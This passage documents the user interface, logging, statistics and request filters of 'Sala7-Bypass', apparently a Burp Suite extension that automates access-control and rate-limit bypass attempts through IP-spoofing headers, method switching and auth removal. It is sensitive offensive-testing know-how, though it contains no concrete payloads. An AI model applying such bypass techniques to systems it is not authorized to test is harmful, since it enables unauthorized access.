logTable.setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS);
logTable.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
logTable.setRowHeight(24);
The LogTableModel extends AbstractTableModel, providing custom data binding between LogEntry objects and the Swing table. The seven-column structure reflects the complete request lifecycle:
Table
| Column | Index | Width | Renderer |
|---|---|---|---|
| Time | 0 | 60 | Default |
| URL | 1 | 350 | Default |
| Status | 2 | 50 | StatusCellRenderer |
| Method | 3 | 60 | Default |
| Action | 4 | 90 | ResultCellRenderer |
| Bypass Type | 5 | 120 | BypassTypeCellRenderer |
| Time(ms) | 6 | 60 | Default |
Column Width Configuration
logTable.getColumnModel().getColumn(0).setPreferredWidth(60); // Time
logTable.getColumnModel().getColumn(1).setPreferredWidth(350); // URL
logTable.getColumnModel().getColumn(2).setPreferredWidth(50); // Status
logTable.getColumnModel().getColumn(3).setPreferredWidth(60); // Method
logTable.getColumnModel().getColumn(4).setPreferredWidth(90); // Action
logTable.getColumnModel().getColumn(5).setPreferredWidth(120); // Bypass Type
logTable.getColumnModel().getColumn(6).setPreferredWidth(60); // Time(ms)
The URL column receives the greatest width allocation (350 pixels), reflecting the high information density of URLs in penetration testing workflows. The status and timing columns receive minimal width, as their content is inherently compact.
Split Pane Layout
JSplitPane splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT, tableScroll, textScroll);
splitPane.setResizeWeight(0.7);
The setResizeWeight(0.7) ensures that the table panel receives 70% of available vertical space during resizing, maintaining the primary focus on log visibility while preserving detail access.
5.1.3 Advanced Tab: Fine-Tuning
The Advanced Tab provides operational parameters that require less frequent adjustment than Controls Tab settings, organized into two primary sections: Advanced Settings and Bypass Attempt Settings.
Advanced Settings Panel
JPanel advancedPanel = new JPanel(new GridLayout(0, 2, 10, 5));
advancedPanel.setBorder(new TitledBorder("Advanced Settings"));
JLabel lblThreads = new JLabel("Concurrent Threads:");
JSpinner spnThreads = new JSpinner(new SpinnerNumberModel(5, 1, 50, 1));
JLabel lblDelay = new JSpinner(new SpinnerNumberModel(0, 0, 10000, 100));
JCheckBox chkAutoStop = new JCheckBox("Auto-Stop on Success");
JLabel lblSoundPath = new JLabel("Sound File Path:");
JTextField txtSoundPath = new JTextField(extender.getSoundFilePath(), 30);
JButton btnBrowseSound = new JButton("Browse");
The thread count spinner (1-50) accommodates testing scenarios from conservative single-threaded operation (avoiding rate limit triggers) to aggressive high-concurrency testing (maximizing bypass discovery speed). The request delay spinner (0-10000ms, step 100ms) enables deliberate throttling for stealth testing or server protection.
The sound file configuration provides configurable success notification through WAV file playback:
btnBrowseSound.addActionListener(e -> {
JFileChooser chooser = new JFileChooser();
chooser.setFileFilter(new javax.swing.filechooser.FileNameExtensionFilter("WAV Files", "wav"));
if (chooser.showOpenDialog(mainPanel) == JFileChooser.APPROVE_OPTION) {
txtSoundPath.setText(chooser.getSelectedFile().getAbsolutePath());
extender.setSoundFilePath(chooser.getSelectedFile().getAbsolutePath());
}
});
Bypass Attempt Settings Panel
The Bypass Attempt Settings panel provides configuration specific to automatic bypass attempts triggered by 403/429 detection:
JPanel bypassSettingsPanel = new JPanel();
bypassSettingsPanel.setLayout(new BoxLayout(bypassSettingsPanel, BoxLayout.Y_AXIS));
bypassSettingsPanel.setBorder(new TitledBorder("Bypass Attempt Settings"));
bypassSettingsPanel.setBackground(new Color(30, 30, 40));
JLabel lblBypassInfo = new JLabel("<html><i>These settings control what modifications are applied during automatic bypass attempts (when 403/429 is detected)</i></html>");
lblBypassInfo.setForeground(new Color(127, 255, 0)); // Chartreuse #7FFF00
JCheckBox chkBypassApplyMethodSwitch = new JCheckBox("Apply Method Switching in Bypass Attempts");
JCheckBox chkBypassApplyAuthRemoval = new JCheckBox("Apply Auth Removal in Bypass Attempts");
The BoxLayout.Y_AXIS arrangement ensures vertical stacking without excessive spacing, addressing the layout issue where GridLayout(0, 1) created disproportionate gaps between components.
5.1.4 Payloads Tab: Custom Header Management
The Payloads Tab provides a JTable-based interface for managing the bypass header pool, enabling testers to customize, extend, or reduce the default header set based on target-specific knowledge.
Table Model
String[] columns = {"Header Name", "Value", "Enabled"};
DefaultTableModel payloadsModel = new DefaultTableModel(columns, 0) {
@Override
public Class<?> getColumnClass(int columnIndex) {
return columnIndex == 2 ? Boolean.class : String.class;
}
@Override
public boolean isCellEditable(int row, int column) {
return true;
}
};
The custom table model overrides getColumnClass() to return Boolean.class for the “Enabled” column, causing JTable to render checkboxes rather than text fields. The isCellEditable() override enables in-place editing of all columns, supporting rapid payload customization.
Button Panel
Six buttons provide CRUD operations:
JButton btnAdd = createPayloadButton("Add");
JButton btnRemove = createPayloadButton("Remove");
JButton btnClear = createPayloadButton("Clear");
JButton btnReset = createPayloadButton("Reset");
JButton btnSave = createPayloadButton("Save");
JButton btnLoad = createPayloadButton("Load");
The loadDefaultPayloads() method populates the table with the complete default header pool, organized by category:
Table
| Category | Headers | Values | Count |
|---|---|---|---|
| IP Spoofing | 39 headers | 18 IP variants | ~700 combinations |
| Port Manipulation | 2 headers | 8 ports | 16 combinations |
| Scheme Override | 3 headers | 2 schemes | 6 combinations |
| Path Rewrite | 4 headers | 7 paths | 28 combinations |
| Method Override | 2 headers | 8 methods | 16 combinations |
The total default payload count exceeds 750 entries, loaded in batches of 50 to prevent UI freezing:
final int batchSize = 50;
for (int i = 0; i < allPayloads.size(); i += batchSize) {
final int start = i;
final int end = Math.min(i + batchSize, allPayloads.size());
SwingUtilities.invokeLater(() -> {
for (int j = start; j < end; j++) {
String[] row = allPayloads.get(j);
payloadsModel.addRow(new Object[]{row[0], row[1], Boolean.TRUE});
}
});
}
5.1.5 About Tab: Information & Attribution
The About Tab provides attribution, version information, and a personal dedication, implemented with GridBagLayout for centered content presentation:
JLabel lblTitle = new JLabel("Sala7-Bypass", SwingConstants.CENTER);
lblTitle.setFont(new Font(Font.SANS_SERIF, Font.BOLD, 28));
lblTitle.setForeground(new Color(0, 200, 255));
JLabel lblDeveloper = new JLabel("This Tool Developed by H3X0S3 [ Mahmoud Salah ]", SwingConstants.CENTER);
lblDeveloper.setFont(new Font(Font.SANS_SERIF, Font.BOLD, 16));
lblDeveloper.setForeground(new Color(200, 200, 200));
JLabel lblDuaa = new JLabel("اللهم اجعل عملي كله صالحا واجعله لوجهك خالصا ولا تجعل لأحد فيه شيئا", SwingConstants.CENTER);
lblDuaa.setFont(new Font("Arial", Font.BOLD, 14));
lblDuaa.setForeground(new Color(255, 215, 0)); // Gold
The Arabic dedication reflects the developer’s personal faith and cultural identity, rendered with explicit Font specification to ensure proper Arabic script rendering across platforms.
5.2 Live Logging System
The Live Logging System provides real-time visibility into extension operations, capturing every intercepted request, applied modification, received response, and bypass classification. This transparency is not merely a convenience feature but a core design principle: penetration testers must understand exactly what the extension does to their traffic to interpret results correctly and report findings accurately.
5.2.1 Request/Response Capture
Each LogEntry captures the complete request/response lifecycle:
public class LogEntry {
private final HttpRequest originalRequest;
private final HttpRequest modifiedRequest;
private HttpResponse originalResponse;
private HttpResponse modifiedResponse;
private int originalStatus;
private int modifiedStatus;
private long responseTime;
private List<String> modifications;
}
The originalRequest and modifiedRequest fields are final, reflecting their immutability: once a request is intercepted and modified, the original and modified versions are fixed. Responses are mutable because they are populated asynchronously when responses arrive.
Capture Timing
Table
| Event | Data Captured | Storage |
|---|---|---|
| Request interception | Original request, modified request, modifications | LogEntry constructor |
| Original response arrival | Original status, response time, original response | setOriginalStatus(), setOriginalResponse() |
| Modified response arrival | Modified status, response time, modified response | setModifiedStatus(), setModifiedResponse() |
| Bypass attempt completion | Bypass status, headers used, details | setBypassType(), setBypassHeadersUsed() |
The LogTableModel provides data binding between LogEntry objects and the UI table:
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
LogEntry entry = entries.get(rowIndex);
return switch (columnIndex) {
case 0 -> entry.getTimestamp();
case 1 -> entry.getUrl();
case 2 -> entry.getModifiedStatus() > 0 ? String.valueOf(entry.getModifiedStatus()) : "-";
case 3 -> entry.getModifiedMethod();
case 4 -> entry.getAction();
case 5 -> entry.getBypassSummary();
case 6 -> entry.getResponseTime() > 0 ? String.valueOf(entry.getResponseTime()) : "-";
default -> null;
};
}
The getBypassSummary() method provides formatted bypass type display:
public String getBypassSummary() {
if (!isBypass || bypassType.equals("NONE")) return "-";
StringBuilder sb = new StringBuilder();
sb.append(bypassType);
if (bypassType.equals("METHOD") && !originalMethod.equals(modifiedMethod)) {
sb.append(" (").append(originalMethod).append("→").append(modifiedMethod).append(")");
} else if (bypassType.equals("HEADER") && !bypassHeadersUsed.isEmpty()) {
String firstHeader = bypassHeadersUsed.keySet().iterator().next();
sb.append(" (").append(firstHeader).append(")");
}
// ... other types ...
return sb.toString();
}
5.2.2 Color-Coded Status Indicators
The status column (index 2) employs a custom StatusCellRenderer that maps HTTP status codes to color-coded visual feedback:
private static class StatusCellRenderer extends DefaultTableCellRenderer {
@Override
public Component getTableCellRendererComponent(JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
Component c = super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);
if (value != null && !isSelected) {
String statusStr = value.toString();
if (!statusStr.equals("-")) {
try {
int status = Integer.parseInt(statusStr);
if (status >= 200 && status < 300) {
c.setBackground(new Color(144, 238, 144)); // Light green
c.setForeground(new Color(0, 100, 0)); // Dark green
} else if (status == 302 || status == 301) {
c.setBackground(new Color(255, 200, 100)); // Orange
c.setForeground(new Color(150, 80, 0)); // Dark orange
} else if (status == 403 || status == 401 || status == 429) {
c.setBackground(new Color(255, 150, 150)); // Light red
c.setForeground(new Color(150, 0, 0)); // Dark red
}
// ... other ranges ...
} catch (NumberFormatException e) {
c.setBackground(table.getBackground());
}
} else {
c.setBackground(new Color(200, 200, 200)); // Grey for pending
c.setForeground(Color.DARK_GRAY);
}
}
setHorizontalAlignment(SwingConstants.CENTER);
setFont(new Font(Font.SANS_SERIF, Font.BOLD, 12));
return c;
}
}
Table
| Status Range | Background | Foreground | Semantic Meaning |
|---|---|---|---|
| 200-299 | Light green (#90EE90) | Dark green (#006400) | Success / Bypass achieved |
| 301-302 | Orange (#FFC864) | Dark orange (#965000) | Redirect / Partial success |
| 401, 403, 429 | Light red (#FF9696) | Dark red (#960000) | Blocked / Access denied |
| 400-499 (other) | Lighter red (#FFC8C8) | Dark red (#960000) | Client error |
| 500+ | Light red (#FFB4B4) | Dark red (#960000) | Server error |
| ”-“ (pending) | Grey (#C8C8C8) | Dark grey | Awaiting response |
The color mapping follows established conventions: green for success, orange for redirection (often indicating partial bypass), red for blocking, and grey for pending states. The !isSelected guard prevents color override when the user selects a row, maintaining selection visibility.
5.2.3 Bypass Type Classification
The Action column (index 4) uses the ResultCellRenderer to provide semantic classification of request outcomes:
private static class ResultCellRenderer extends DefaultTableCellRenderer {
@Override
public Component getTableCellRendererComponent(JTable table, Object value, ...) {
// Retrieve the actual LogEntry for this row
LogTableModel model = (LogTableModel) table.getModel();
LogEntry entry = model.getEntry(row);
boolean isRealBypass = (entry != null && entry.isRealBypass());
String result = value.toString();
boolean isBypassAttempt = result.contains("BYPASS");
boolean isSuccess = result.contains("SUCCESS");
boolean isFailed = result.contains("FAILED");
boolean isBlocked = result.contains("BLOCKED");
boolean isModified = result.contains("MODIFIED") || result.contains("METHOD_BYPASS") || result.contains("AUTH_BYPASS");
if (isRealBypass || (isBypassAttempt && isSuccess)) {
c.setBackground(new Color(34, 139, 34)); // Forest green
c.setForeground(Color.WHITE);
setFont(new Font(Font.SANS_SERIF, Font.BOLD, 13));
} else if (isBypassAttempt && !isSuccess) {
c.setBackground(new Color(255, 140, 0)); // Dark orange
c.setForeground(new Color(100, 50, 0));
setFont(new Font(Font.SANS_SERIF, Font.BOLD, 12));
} else if (isFailed) {
c.setBackground(new Color(200, 50, 50)); // Red
c.setForeground(Color.WHITE);
}
// ... other conditions ...
}
}
The renderer distinguishes between isRealBypass() (verified transition from blocked to allowed) and mere isBypass() (any bypass attempt), providing visual confirmation of actual vulnerability exploitation versus mere attempt logging.
5.2.4 Response Time Metrics
Response time tracking provides performance context for bypass attempts, distinguishing between network latency, server processing time, and bypass technique efficiency. The Time(ms) column (index 6) displays response times with “-“ for pending requests:
case 6 -> entry.getResponseTime() > 0 ? String.valueOf(entry.getResponseTime()) : "-";
Response times are captured at two points:
- Original/Modified requests: Currently set to 0 (placeholder for future async timing)
- Bypass attempts: Precise measurement via
System.currentTimeMillis()delta
long startTime = System.currentTimeMillis();
var httpResponse = api.http().sendRequest(bypassRequest);
long bypassTime = System.currentTimeMillis() - startTime;
bypassEntry.setResponseTime(bypassTime);
5.3 Statistics Dashboard
The Statistics Dashboard provides quantitative summary of extension operations, displayed as a persistent panel above the log table in the Live Logs tab.
5.3.1 Total Requests Counter
The total counter reflects all LogEntry objects in the system:
int total = logEntries.size();
This includes original requests, modified requests, and bypass attempts—each represented as a distinct LogEntry. A single user request that triggers a modified request and three bypass attempts contributes 5 to the total count.
5.3.2 Blocked Requests Detection
Blocked requests are identified by trueOriginalStatus matching blocking codes:
for (LogEntry entry : logEntries) {
int origStatus = entry.getTrueOriginalStatus() != -1
? entry.getTrueOriginalStatus()
: entry.getOriginalStatus();
if (origStatus == 403 || origStatus == 429 || origStatus == 401) {
blocked++;
}
}
The trueOriginalStatus != -1 fallback ensures that entries awaiting original response arrival are still counted based on their preliminary status.
5.3.3 Bypass Success Rate Calculation
The success rate computes the percentage of blocked requests that were successfully bypassed:
double rate = blocked > 0 ? (bypassSuccess * 100.0 / blocked) : 0;
This metric answers the critical question: “Of all the requests that were blocked, what percentage did we successfully bypass?” A rate of 100% indicates complete access control circumvention; 0% indicates no bypassable vulnerabilities detected.
5.3.4 Per-Technique Breakdown (Method/Header/Auth/Rate-Limit/Combined)
The dashboard provides technique-specific counters:
int methodBypass = 0;
int headerBypass = 0;
int authBypass = 0;
int rateLimitBypass = 0;
int combinedBypass = 0;
for (LogEntry entry : logEntries) {
if (entry.isRealBypass()) {
String type = entry.getBypassType();
switch (type) {
case "METHOD" -> methodBypass++;
case "HEADER" -> headerBypass++;
case "AUTH" -> authBypass++;
case "RATE_LIMIT" -> rateLimitBypass++;
case "COMBINED" -> combinedBypass++;
}
}
}
The compact display format (“M:3 H:5 A:1”) conserves horizontal space while providing immediate technique distribution visibility.
5.3.5 Real-Time Percentage Computation
Statistics update synchronously with each log entry modification:
// In BurpExtender.handleHttpResponseReceived()
if (pendingIdx >= 0 && pendingIdx < logEntries.size()) {
logEntries.set(pendingIdx, pendingEntry);
ui.updateLogEntry(pendingIdx, pendingEntry);
ui.updateStats();
}
The updateStats() method computes all statistics and updates UI labels through SwingUtilities.invokeLater():
public void updateStats() {
// ... computation ...
final String rateText = String.format("Rate: %.1f%%", rate);
SwingUtilities.invokeLater(() -> {
lblStatTotal.setText(totalText);
lblStatBlocked.setText(blockedText);
lblStatBypassSuccess.setText(successText);
lblStatBypassRate.setText(rateText);
// ... other labels ...
if (hasSuccess) {
lblStatBypassSuccess.setForeground(new Color(50, 255, 50));
lblStatBypassRate.setForeground(new Color(50, 255, 50));
} else {
lblStatBypassSuccess.setForeground(Color.WHITE);
lblStatBypassRate.setForeground(Color.WHITE);
}
});
}
The success state (hasSuccess) triggers green coloration, providing immediate visual feedback when bypasses are achieved.
5.4 Visual Feedback System
The Visual Feedback System extends beyond the log table to provide comprehensive color coding across all UI components, creating an intuitive visual language that enables rapid pattern recognition during high-volume testing.
5.4.1 Status Code Color Coding (200=Green, 302=Orange, 403/429=Red, 500=Dark Red)
The StatusCellRenderer implements the status code color mapping detailed in section 5.2.2. The specific color values are:
Table
| Code | Background | Foreground | Hex Values |
|---|---|---|---|
| 200-299 | Light green | Dark green | #90EE90, #006400 |
| 301-302 | Orange | Dark orange | #FFC864, #965000 |
| 401, 403, 429 | Light red | Dark red | #FF9696, #960000 |
| 400-499 (other) | Lighter red | Dark red | #FFC8C8, #960000 |
| 500+ | Light red | Dark red | #FFB4B4, #960000 |
| Pending (“-“) | Grey | Dark grey | #C8C8C8, #404040 |
5.4.2 Result Cell Highlighting (Success=Green, Failed=Red, Blocked=Dark Red)
The ResultCellRenderer provides semantic highlighting:
Table
| State | Background | Foreground | Font |
|---|---|---|---|
| Real Bypass | Forest green (#228B22) | White | Bold 13pt |
| Bypass Attempt (failed) | Dark orange (#FF8C00) | Brown (#643200) | Bold 12pt |
| Failed | Red (#C83232) | White | Bold 12pt |
| Blocked | Dark red (#8B0000) | White | Bold 12pt |
| Modified | Steel blue (#4682B4) | White | Plain 12pt |
| Passthrough | Table default | Table default | Plain 12pt |
5.4.3 Bypass Type Badges (METHOD=Blue, HEADER=Green, AUTH=Purple, RATE_LIMIT=Orange, COMBINED=Dark Purple)
The BypassTypeCellRenderer provides type-specific color coding:
private static class BypassTypeCellRenderer extends DefaultTableCellRenderer {
@Override
public Component getTableCellRendererComponent(JTable table, Object value, ...) {
String bypassType = value.toString();
if (bypassType.contains("METHOD")) {
c.setBackground(new Color(100, 149, 237)); // Cornflower blue
c.setForeground(Color.WHITE);
} else if (bypassType.contains("HEADER")) {
c.setBackground(new Color(60, 179, 113)); // Medium sea green
c.setForeground(Color.WHITE);
} else if (bypassType.contains("AUTH")) {
c.setBackground(new Color(218, 112, 214)); // Orchid
c.setForeground(Color.WHITE);
} else if (bypassType.contains("RATE_LIMIT")) {
c.setBackground(new Color(255, 165, 0)); // Orange
c.setForeground(Color.WHITE);
} else if (bypassType.contains("COMBINED")) {
c.setBackground(new Color(148, 0, 211)); // Dark violet
c.setForeground(Color.WHITE);
} else {
c.setBackground(table.getBackground());
c.setForeground(new Color(150, 150, 150)); // Grey for NONE
}
}
}
Table
| Type | Color | Hex | Semantic Association |
|---|---|---|---|
| METHOD | Cornflower blue | #6495ED | HTTP methods (blue = protocol) |
| HEADER | Medium sea green | #3CB371 | Headers (green = metadata) |
| AUTH | Orchid | #DA70D6 | Authentication (purple = security) |
| RATE_LIMIT | Orange | #FFA500 | Rate limiting (orange = warning) |
| COMBINED | Dark violet | #9400D3 | Combined (intense = complex) |
| NONE | Grey | #969696 | No bypass (neutral) |
5.4.4 Dark/Light Theme Support
The theme system provides global color scheme switching:
private void applyDarkTheme() {
mainPanel.setBackground(new Color(30, 30, 40));
if (logTextArea != null) {
logTextArea.setBackground(new Color(25, 25, 35));
logTextArea.setForeground(new Color(200, 200, 200));
}
SwingUtilities.updateComponentTreeUI(mainPanel);
}
private void applyLightTheme() {
mainPanel.setBackground(Color.WHITE);
if (logTextArea != null) {
logTextArea.setBackground(Color.WHITE);
logTextArea.setForeground(Color.BLACK);
}
SwingUtilities.updateComponentTreeUI(mainPanel);
}
The SwingUtilities.updateComponentTreeUI() call recursively updates all child components to reflect the new Look-and-Feel, though custom renderers maintain their explicit color settings regardless of theme.
5.5 Interactive Features
The interactive features transform the log table from passive display into an active analysis tool, enabling rapid investigation, tool integration, and data export.
5.5.1 Right-Click Context Menu
The context menu provides eight operations accessible through right-click on any log row:
private void createTablePopupMenu() {
tablePopupMenu = new JPopupMenu();
tablePopupMenu.setBackground(new Color(40, 40, 50));
JMenuItem miViewDetails = new JMenuItem("View Details");
JMenuItem miSendRepeater = new JMenuItem("Send to Repeater");
JMenuItem miSendIntruder = new JMenuItem("Send to Intruder");
JMenuItem miCopyURL = new JMenuItem("Copy URL");
JMenuItem miCopyCurl = new JMenuItem("Copy as cURL");
JMenuItem miCopyBypassInfo = new JMenuItem("Copy Bypass Info");
JMenuItem miDelete = new JMenuItem("Delete Row");
// ... action listeners ...
}
The menu is organized with visual separators grouping related operations:
- View/Send: Details, Repeater, Intruder
- Copy: URL, cURL, Bypass Info
- Delete: Row removal
5.5.2 Send to Repeater/Intruder Integration
Direct tool integration eliminates manual request reconstruction:
miSendRepeater.addActionListener(e -> {
int row = logTable.getSelectedRow();
if (row >= 0 && row < logEntries.size()) {
LogEntry entry = logEntries.get(row);
if (entry.getModifiedRequest() != null && extender.getApi() != null) {
extender.getApi().repeater().sendToRepeater(entry.getModifiedRequest());
logMessage("Sent to Repeater: " + entry.getUrl());
}
}
});
The sendToRepeater() call transfers the modified request—including all applied bypass headers and transformations—directly into Burp’s Repeater tool, preserving the exact request state that achieved bypass.
5.5.3 cURL Command Generation
The cURL generation reconstructs the modified request as a command-line executable:
private String generateCurlCommand(LogEntry entry) {
StringBuilder curl = new StringBuilder();
curl.append("curl -X ").append(entry.getModifiedMethod()).append(" ");
HttpRequest req = entry.getModifiedRequest();
if (req != null) {
for (var header : req.headers()) {
curl.append(" -H '").append(header.name()).append(": ").append(header.value()).append("'");
}
String body = req.bodyToString();
if (body != null && !body.isEmpty()) {
curl.append(" -d '").append(body.replace("'", "\'")).append("'");
}
}
curl.append(" '").append(entry.getUrl()).append("'");
return curl.toString();
}
This enables immediate command-line verification of bypass discoveries, independent of Burp Suite.
5.5.4 Enhanced Request/Response Viewer
The double-click activated viewer provides comprehensive request/response inspection:
logTable.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
int row = logTable.rowAtPoint(e.getPoint());
if (row >= 0) {
logTable.setRowSelectionInterval(row, row);
if (e.getClickCount() == 2 && SwingUtilities.isLeftMouseButton(e)) {
showEnhancedViewer(row);
}
}
}
});
The viewer implements a 1600×1000 pixel dialog with horizontal split pane:
JDialog dialog = new JDialog((Frame) SwingUtilities.getWindowAncestor(mainPanel), title, true);
dialog.setSize(1600, 1000);
JSplitPane mainSplit = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
mainSplit.setResizeWeight(0.5);
Left Panel: Request Inspection
- Type Toggle: Radio buttons switch between original and modified request display
- Format Tabs: Raw, Pretty (structured headers/body), and Diff views
- Editable Modified Request: The modified request text area is editable, enabling on-the-fly adjustments before re-sending
Right Panel: Response Inspection
- Response Selector: Dropdown selects original response, modified response, or bypass attempts
- Format Tabs: Pretty, Raw, and Hex views
- Hex View: Byte-level inspection for binary responses or encoding analysis
5.5.5 Diff View for Original vs Modified
The Diff View highlights structural differences between original and modified requests:
private JPanel createDiffPanel(String original, String modified) {
JPanel panel = new JPanel(new GridLayout(1, 2, 5, 0));
String[] origLines = original != null ? original.split("\n") : new String[0];
String[] modLines = modified != null ? modified.split("\n") : new String[0];
// Line-by-line comparison with +/- prefixing
for (int i = 0; i < maxLines; i++) {
String origLine = i < origLines.length ? origLines[i] : "";
String modLine = i < modLines.length ? modLines[i] : "";
if (origLine.equals(modLine)) {
origDiff.append(" ").append(origLine).append("\n");
modDiff.append(" ").append(modLine).append("\n");
} else {
if (!origLine.isEmpty()) origDiff.append("-").append(origLine).append("\n");
if (!modLine.isEmpty()) modDiff.append("+").append(modLine).append("\n");
}
}
}
The diff output uses standard diff notation:
- (space): Unchanged line
- : Removed in original (present in original, absent in modified)
+: Added in modified (absent in original, present in modified)
Color coding reinforces the diff semantics: removed lines display on red background, added lines on green.
5.5.6 Keyboard Shortcuts (Delete, Copy)
Keyboard accelerators provide rapid row manipulation without mouse interaction:
logTable.addKeyListener(new KeyAdapter() {
@Override
public void keyPressed(KeyEvent e) {
int row = logTable.getSelectedRow();
if (row < 0) return;
if (e.getKeyCode() == KeyEvent.VK_DELETE) {
logEntries.remove(row);
refreshTableFromEntries();
updateStats();
logMessage("Deleted row " + row);
} else if (e.getKeyCode() == KeyEvent.VK_C && e.isControlDown()) {
String url = logEntries.get(row).getUrl();
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(
new StringSelection(url), null);
logMessage("Copied URL: " + url);
}
}
});
Table
| Shortcut | Action | Context |
|---|---|---|
Delete |
Remove selected row | Log table focus |
Ctrl+C |
Copy URL to clipboard | Log table focus |
These shortcuts follow standard conventions, minimizing learning curve for users familiar with spreadsheet and table applications.
6. Filtering & Scope Management
6.1 Scope-Only Processing
The scope-only processing filter ensures that Sala7-Bypass operates exclusively on targets explicitly defined within Burp Suite’s target scope. This capability is fundamental to professional penetration testing workflows where testers must avoid unintended interaction with out-of-scope systems, preventing accidental testing of production environments, third-party services, or legally restricted domains.
Implementation
The scope check occurs as the second gate in handleHttpRequestToBeSent(), immediately following the extension enabled check:
if (scopeOnly && !api.scope().isInScope(requestToBeSent.url())) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
The api.scope().isInScope() method delegates to Burp Suite’s internal scope management, which evaluates the request URL against the configured scope rules. Burp’s scope system supports:
Table
| Scope Rule Type | Example | Matching Behavior |
|---|---|---|
| Simple domain | example.com |
Matches domain and all subdomains |
| Wildcard domain | *.example.com |
Matches all subdomains, not root |
| Exact URL | https://example.com/api/v1 |
Matches exact path only |
| Regex pattern | .*\.example\.com/.* |
Full regex matching |
| Protocol-specific | https://example.com |
Protocol-sensitive matching |
The isInScope() evaluation occurs synchronously on the HTTP dispatcher thread, with performance characteristics dependent on Burp’s internal scope rule evaluation engine. For typical scope configurations (10-50 rules), this evaluation is sub-millisecond and does not materially impact request throughput.
Configuration Interface
The scope filter is controlled through a simple checkbox in the Controls Tab:
chkScopeOnly = new JCheckBox("Process In-Scope Only", true);
chkScopeOnly.setToolTipText("Only process requests that are in Burp's target scope");
chkScopeOnly.addActionListener(e -> extender.setScopeOnly(chkScopeOnly.isSelected()));
The default true state reflects the principle that scope restriction should be opt-out rather than opt-in, preventing accidental out-of-scope processing by users who fail to explicitly enable the filter.
Operational Implications
When scope-only processing is active, out-of-scope requests pass through unmodified and unlogged. This creates a visibility gap: the extension provides no indication that requests were filtered, potentially confusing users who expect to see all traffic in the Live Logs tab. Future enhancements could implement an “Out-of-Scope” log category or counter to provide filtering transparency.
The scope check applies only to handleHttpRequestToBeSent(); bypass attempts triggered by in-scope requests may generate out-of-scope follow-up requests if the original request contains absolute URLs in parameters or headers. The extension does not currently implement recursive scope checking for bypass-generated requests, representing a potential enhancement for strict scope enforcement.
6.2 Authentication-Based Filtering
The authentication-based filter restricts processing to requests that contain authentication indicators, enabling focused testing of authenticated endpoints where access control bypass is most likely to yield meaningful security findings.
Implementation
The auth filter checks for the presence of Cookie or Authorization headers:
if (authFilter && !hasAuthIndicators(requestToBeSent)) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
The hasAuthIndicators() method implements the check:
private boolean hasAuthIndicators(HttpRequest request) {
return request.headers().stream().anyMatch(h ->
h.name().equalsIgnoreCase("Cookie") || h.name().equalsIgnoreCase("Authorization")
);
}
The anyMatch() short-circuit evaluation terminates at the first matching header, providing O(1) average-case performance for authenticated requests and O(n) worst-case for unauthenticated requests (where n = header count).
Configuration Interface
chkAuthFilter = new JCheckBox("Auth-Based Filter (Cookie/Authorization)");
chkAuthFilter.setToolTipText("Only process requests with Cookie or Authorization headers");
chkAuthFilter.addActionListener(e -> extender.setAuthFilter(chkAuthFilter.isSelected()));
Limitations and Considerations
The current implementation recognizes only two authentication indicators, omitting several common alternatives:
Table
| Authentication Mechanism | Header/Indicator | Current Detection |
|---|---|---|
| Session cookies | Cookie: session=... |
✅ Yes |
| Bearer tokens | Authorization: Bearer ... |
✅ Yes |
| Basic authentication | Authorization: Basic ... |
✅ Yes |
| API keys (header) | X-API-Key: ... |
❌ No |
| JWT in custom header | X-Access-Token: ... |
❌ No |
| OAuth 2.0 tokens | Authorization: Bearer ... |
✅ Yes |
| Client certificates | TLS handshake | ❌ No (not header-based) |
| Custom auth schemes | Authorization: Custom ... |
✅ Yes (Authorization prefix) |
Future enhancements could implement configurable auth indicator patterns, allowing testers to define custom headers or patterns specific to target applications.
6.3 Content-Type Filtering (JSON/Form-Data/All)
The content-type filter enables targeted testing of specific API payload types, concentrating bypass efforts on endpoints most likely to exhibit access control vulnerabilities.
Implementation
The matchesContentType() method implements three filter modes:
private boolean matchesContentType(HttpRequest request) {
if (allowedContentType.equals("all")) return true;
String contentType = request.headers().stream()
.filter(h -> h.name().equalsIgnoreCase("Content-Type"))
.findFirst()
.map(h -> h.value().toLowerCase())
.orElse("");
return switch (allowedContentType) {
case "json" -> contentType.contains("application/json");
case "form-data" -> contentType.contains("multipart/form-data") ||
contentType.contains("application/x-www-form-urlencoded");
default -> true;
};
}
Filter Modes
Table
| Mode | Matches | Typical Targets |
|---|---|---|
all |
All requests | General testing |
json |
application/json |
REST APIs, modern web services |
form-data |
multipart/form-data, application/x-www-form-urlencoded |
Traditional forms, file uploads |
The contains() matching (rather than equals()) accommodates content-type variants that include charset or boundary parameters: application/json; charset=utf-8, multipart/form-data; boundary=----WebKitFormBoundary.
Configuration Interface
chkContentTypeFilter = new JCheckBox("Content-Type Filter");
cmbContentType = new JComboBox<>(new String[]{"all", "json", "form-data"});
cmbContentType.addActionListener(e -> extender.setAllowedContentType((String) cmbContentType.getSelectedItem()));
6.4 HTTP Status Filtering
The HTTP status filter provides log-level filtering for the Live Logs tab, enabling testers to focus analysis on specific response categories. Unlike the request-time filters (scope, auth, content-type), the status filter operates on the log table model, controlling display without affecting interception.
Implementation in Filter Dialog
The status filter appears in the custom filter dialog:
JComboBox<String> cmbStatus = new JComboBox<>(new String[]{"All", "200", "302", "403", "429", "500+"});
The “500+” option aggregates all server error codes (500-599), recognizing that 500-series errors often indicate successful bypass attempts that exposed internal application errors.
Filter Logic
if (!status.equals("All")) {
int entryStatus = entry.getModifiedStatus();
if (status.equals("500+") && entryStatus < 500) match = false;
else if (!status.equals("500+") && entryStatus != Integer.parseInt(status)) match = false;
}
6.5 Custom Log Filtering Dialog
The filter dialog provides multi-criteria log filtering, enabling complex analysis queries across the accumulated request history.
Dialog Interface
private void showFilterDialog() {
JDialog dialog = new JDialog((Frame) SwingUtilities.getWindowAncestor(mainPanel), "Filter Logs", true);
dialog.setSize(400, 350);
JTextField txtSearch = new JTextField();
JComboBox<String> cmbStatus = new JComboBox<>(new String[]{"All", "200", "302", "403", "429", "500+"});
